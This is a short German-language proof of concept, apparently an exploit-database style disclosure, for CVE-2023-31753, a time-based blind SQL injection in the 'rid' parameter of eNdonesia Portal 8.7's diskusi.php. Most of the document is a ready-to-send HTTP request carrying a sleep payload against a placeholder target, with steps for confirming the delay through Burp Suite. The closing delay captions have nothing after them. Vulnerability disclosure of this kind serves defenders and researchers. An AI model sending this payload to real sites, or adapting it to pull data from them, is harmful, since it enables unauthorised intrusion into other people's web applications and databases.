CVE-2023-31753

Proof of Concept für CVE-2023-31753

Beschreibung: In eNdonesia Portal v8.7 wurde eine SQL-Injection-Schwachstelle entdeckt, die durch das Einfügen eines manipulierten Payloads in den Parameter „rid“ in diskusi.php ausgenutzt wird.

• Exploit-Titel: eNdonesia Portal 8.7 – SQL-Injection-Schwachstelle in diskusi.php (Parameter „rid“)
• Datum: 19. Mai 2023
• Exploit-Autor: Kunal Khubchandani
• Homepage des Herstellers: http://www.endonesia.org/
• Software-Link: https://sourceforge.net/projects/endonesia/
• Version: 8.7
• Kategorie: Webapps
• Getestet auf: WiN11_x64/KaLiLinuX_x64
• CVE : CVE-2023-31753

#POC:

1. Um diese Schwachstelle auszunutzen, muss ein SQLi-Sleep-Payload als Wert des GET-Parameters „rid“ in der folgenden HTTP-Anfrage gesendet werden.

2. Verwundbare Anfrage:

GET /endonesia.8.7.en/mod.php?mod=diskusi&op=delres&rid=(select*from(select(sleep(20)))a) HTTP/1.1
Host: TARGET
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Connection: close
Cache-Control: max-age=0

3. Nach dem Senden der obigen HTTP-Anfrage über Burp Suite erhält der Benutzer eine Antwort mit einer Verzögerung von 20 Sekunden.

** 20 Sekunden Verzögerung:

** 30 Sekunden Verzögerung: